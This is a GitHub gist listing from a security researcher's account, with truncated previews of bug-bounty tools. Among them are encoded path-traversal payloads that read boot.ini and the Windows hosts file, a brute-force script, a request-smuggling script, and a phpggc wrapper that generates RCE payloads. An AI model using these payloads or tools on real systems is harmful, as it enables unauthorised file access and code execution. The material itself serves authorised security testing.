alanEG’s gists

alanEG / ZOHO_1.0.html

Created February 17, 2025 13:30

	<body>
	<div id="email-container"></div>
	<script>
	window.addEventListener("message", function(event) {
	console.log(event.data)
	if (event.data && event.data.from && event.data.from == "summery") {
	const data = JSON.parse(event.data.emails);
	const emails = data;
	const emailContainer = document.getElementById('email-container');
	if (Array.isArray(emails) && emails.length > 1) {

alanEG / postmessaged.py

Created January 31, 2025 16:18

Detect postmessage

	from playwright.async_api import async_playwright
	import asyncio, json, hashlib, sys

	init_script = """
	// Override addEventListener to detect 'message' handlers
	const originalAddEventListener = window.addEventListener;
	window.addEventListener = function(type, listener, options){
	if (typeof type == 'string' && type.toLowerCase() === 'message'){
	const stack = new Error();
	const stacker = stack.stack.split('\\n');

alanEG / exploitdb_GHDB_v0.json

Created January 24, 2025 16:14

exploitdb google hacking Database list

{}

alanEG / tburteforce.py

Created April 19, 2023 18:09

turbo intruder brute force script

	chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"

	class Found:
	def __init__(self):
	self.found = ""
	self.is_stop = False
	self.is_found = False

	def set(self, value):
	self.found = value

alanEG / MyCL0.py

Created April 14, 2023 14:56

MyCL0

	from requests import Request, Session
	import requests
	import sys
	import logging
	from urllib.parse import urlparse
	import time
	from concurrent.futures import ThreadPoolExecutor, as_completed

	logging.basicConfig(level=logging.DEBUG)
	def sendRequest(req,con,smg,lens):

alanEG / lfr_payloads.txt

Created March 3, 2023 08:26

Local file read payloads

This file has been truncated, but you can view the full file.

	%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66boot.ini
	%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66windows%%32%%66system32%%32%%66drivers%%32%%66etc%%32%%66hosts
	%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66%%c0%6e%c0%6e%%32%%66windows

alanEG / parameter_monkey

Last active September 26, 2022 13:47

paramter

alanEG / color.sh

Last active October 4, 2021 18:02

color bash, source color https://github.com/s0md3v/Arjun/blob/master/arjun/core/colors.py

	#!/bin/bash

	#usage
	# bash color.sh "{{red}}hello {{blue}}marcos" # singel color
	# bash color.sh "{{red}}hello [start]{{red}}how are you[end]"

	text=""
	args="$@"
	declare -A colors=(\
	["{{reset}}"]="\\\033[0m" \

alanEG / googlect.sh

Created August 26, 2021 20:50

google cet search

	googleCT (){
	target=${target}
	url="https://transparencyreport.google.com/transparencyreport/api/v3/httpsreport/ct/certsearch?include_subdomains=true&domain=${target}"
	dataF=$(curl -s ${url} \| sed "s/)]}'//g")
	id=$(echo ${dataF} \| sed "s/)]}'//g"\| jq -r '.[][3][1]')
	range=$(echo $dataF \| jq -r '.[][-1][-1]')
	declare -a links
	links=($(echo ${dataF} \| jq -r '.[][1][][5]'))
	echo '=============================================' 1>&2
	echo '\| start 1 \|' 1>&2

alanEG / phpggc-generate-payloads.sh

Last active July 18, 2021 11:44 — forked from honoki/phpggc-generate-payloads.sh

Automatically generate properly formatted RCE payloads for every gadget chain in phpggc.

	#!/bin/bash

	# phpggc wrapper that automatically generates payloads for RCE gadgets
	SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"
	if [[ ! -d SCRIPT_DIR/phpggc ]]
	then
	git clone https://github.com/ambionics/phpggc ${SCRIPT_DIR}/phpggc
	fi

	function="system"

Anany alanEG